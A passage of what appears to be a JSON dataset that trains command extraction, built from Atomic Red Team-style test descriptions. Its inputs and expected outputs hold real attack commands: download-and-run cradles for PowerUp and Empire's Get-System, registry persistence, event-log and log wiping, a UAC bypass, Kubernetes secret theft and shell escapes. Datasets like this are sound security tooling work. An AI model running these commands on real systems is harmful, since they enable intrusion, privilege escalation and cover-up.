Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To spawn a notepad.exe process as a child of the current process, use the following command: Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}; You can create a child process under the first available svchost.exe instance by executing this command: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
    "output": "{\"command_list\": [\"Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}\", \"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \\\"Name = 'svchost.exe' AND CommandLine LIKE '%'\\\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can spawn an interactive shell in restricted environments via BusyBox's multi-call functionality with the command: busybox sh &; An interactive system shell can be spawned in restricted environments via the command: sudo emacs -Q -nw --eval '(term \"/bin/sh &\")'",
    "output": "{\"command_list\": [\"busybox sh &\", \"sudo emacs -Q -nw --eval '(term \\\"/bin/sh &\\\")'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry will be updated to load AtomicRedTeam.dll to RunOnceEx via the command: REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n; A new RunOnce registry entry can be created with this PowerShell command: $RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'",
    "output": "{\"command_list\": [\"REG ADD HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"#{thing_to_execute}\\\"\\n\", \"$RunOnceKey = \\\"#{reg_key_path}\\\"\\nset-itemproperty $RunOnceKey \\\"NextRun\\\" '#{thing_to_execute} \\\"IEX (New-Object Net.WebClient).DownloadString(`\\\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\\\")\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To overwrite the Linux mail spool for a specific user, as done by threat actor Rocke, use the following command: echo 0> /var/spool/mail/#{username}\n; This test employs a technique used by threat actor Rocke to overwrite logs on Linux web servers, executed via the command: echo 0> #{log_path}\n",
    "output": "{\"command_list\": [\"echo 0> /var/spool/mail/#{username}\\n\", \"echo 0> #{log_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For clearing Security and Backup eventlogs using WMI via VBA, execute this command (administrative rights are necessary to prevent WINWORD from returning an 'Access Denied' error):\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1070.001\\src\\T1070.001-macrocode.txt\" -officeProduct \"Word\" -sub \"ClearLogs\"; The script leverages the NamedPipe technique to impersonate SYSTEM context, which can be executed via this PowerShell command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1070.001\\\\src\\\\T1070.001-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"ClearLogs\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Kubernetes secrets containing passwords and connection strings can be viewed with the command: kubectl get secrets -n #{namespace}; To access the Kubernetes service account token inside a container, use the following command: kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token",
    "output": "{\"command_list\": [\"kubectl get secrets -n #{namespace}\\n\", \"kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence by exploiting `eventviewer.msc`, use the following commands: reg add \"HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\#{payload}\" /f\nschtasks /Create /TN \"#{task_name}\" /TR \"eventvwr.msc\" /SC ONLOGON /RL HIGHEST /F\nECHO Let's run the schedule task ...\nschtasks /Run /TN \"EventViewerBypass\"; To install a Microsoft Exchange Transport Agent for persistence, which requires execution from an Exchange Client Access Server and the creation of a specific DLL, use the following command:\nInstall-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\nEnable-TransportAgent #{transport_agent_identity}\nGet-TransportAgent | Format-List Name,Enabled",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command\\\" /ve /t REG_EXPAND_SZ /d \\\"c:\\\\windows\\\\System32\\\\#{payload}\\\" /f\\nschtasks /Create /TN \\\"#{task_name}\\\" /TR \\\"eventvwr.msc\\\" /SC ONLOGON /RL HIGHEST /F\\nECHO Let's run the schedule task ...\\nschtasks /Run /TN \\\"EventViewerBypass\\\"\\n\", \"Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\\nEnable-TransportAgent #{transport_agent_identity}\\nGet-TransportAgent | Format-List Name,Enabled\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 